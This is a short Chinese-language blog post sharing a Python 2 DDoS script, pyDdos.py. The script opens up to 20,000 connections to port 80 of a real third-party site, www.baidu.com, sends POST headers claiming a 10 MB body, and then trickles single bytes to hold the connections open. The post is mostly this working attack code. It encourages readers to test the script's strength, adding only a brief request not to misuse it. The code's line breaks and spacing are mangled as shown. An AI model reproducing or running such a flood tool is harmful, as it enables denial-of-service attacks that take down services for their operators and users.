今天為了休息下,換換腦子,于是就找到了我之前收藏的一篇python的文章,是關于ddos攻擊的一個腳本,正好今天有空,就實踐下了。
Python版本DDOS攻擊腳本
原地址:http://www.service-labs.com/test-ddos-tools.html
附上源碼pyDdos.py:
[python]view plaincopy
1.#!/usr/bin/env python
2.import socket
3.import time
4.import threading
5.#Pressure Test,ddos tool
6.#—————————
7.MAX_CONN=20000
8.PORT=80
9.HOST="www.baidu.com"
10.PAGE="/index.php"
11.#—————————
12.buf=("POST %s HTTP/1.1
"
13."Host: %s
"
14."Content-Length: 10000000
"
15."Cookie: dklkt_dos_test
"
16."
" % (PAGE,HOST))
17.socks=[]
18.def conn_thread():
19.global socks
20.for i in range(0,MAX_CONN):
21. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
22.try:
23. s.connect((HOST,PORT))
24. s.send(buf)
25.print"Send buf OK!,conn=%d
"%i
26. socks.append(s)
27.except Exception,ex:
28.print"Could not connect to server or send error:%s"%ex
29. time.sleep(10)
30.#end def
31.def send_thread():
32.global socks
33.whileTrue:
34.for s in socks:
35.try:
36. s.send("f")
37.#print "send OK!"
38.except Exception,ex:
39.print"Send Exception:%s
"%ex
40. socks.remove(s)
41. s.close()
42. time.sleep(1)
43.#end def
44.conn_th=threading.Thread(target=conn_thread,args=())
45.send_th=threading.Thread(target=send_thread,args=())
46.conn_th.start()
47.send_th.start()
OK,大家可以簡單測試下這個腳本的威力,不過希望大家不要用來做壞事兒,同時,稍后我會去找一個python版本的防DDOS攻擊的腳本,所謂學習攻擊的方式是為了更好的抵御攻擊。